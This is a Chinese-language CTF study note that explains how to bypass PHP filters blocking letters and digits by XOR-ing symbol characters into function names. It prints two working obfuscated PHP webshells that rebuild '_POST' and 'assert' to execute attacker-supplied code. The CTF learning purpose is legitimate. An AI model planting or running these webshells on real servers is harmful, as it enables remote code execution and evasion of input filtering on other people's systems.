前言:
之前在命令执行的时候多少学了一点,但发现如果不自己去动手实践一下会忘的很快,这次就来动手实践一番。恰好最近做了很多有关无字符数字的CTF题,恰好可以作为例子说一下。
0x00:转换思想:
如果遇到一段代码将字符和数字全部过滤,就要转变思想,既然非字母、数字的字符还存在,就通过各种变换方法构造出我们想要的字符,然后再利用PHP允许动态函数执行的特点,拼接成一个函数名,最后动态执行即可绕过。
#在php5中assert是一个函数,便可以通过上这样的方法来动态执行任意代码
$f='assert';$f(...);
所以思想也很简单了,就是将非字符数字通过处理后进行拼接。
0x01:PHP中的异或
在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。
其实也就是在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串
异或规则
0&0=0 1&1=0 0&1=1 1&0=1
两个二进制数相同时,异或为0,不同为1
下面来看一段通过异或获得的无字符数字webshell
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
也直接合成一句话进行使用
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
简单分析一下这段代码:
$_++
:对变量名为_
的变量进行自增操作,在PHP中未定义的变量默认值为Null,null==false==0
,因此可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。.=
是字符串的连接
注意因为exp中含有特殊字符,所以需要进行url编码才可以正常使用
再看一下PHITHON师傅通过异或得到webshell,也是一样的原理
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
#$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
#$__='_POST';
$___=$$__;
$_($___[_]);
#assert($_POST[_]);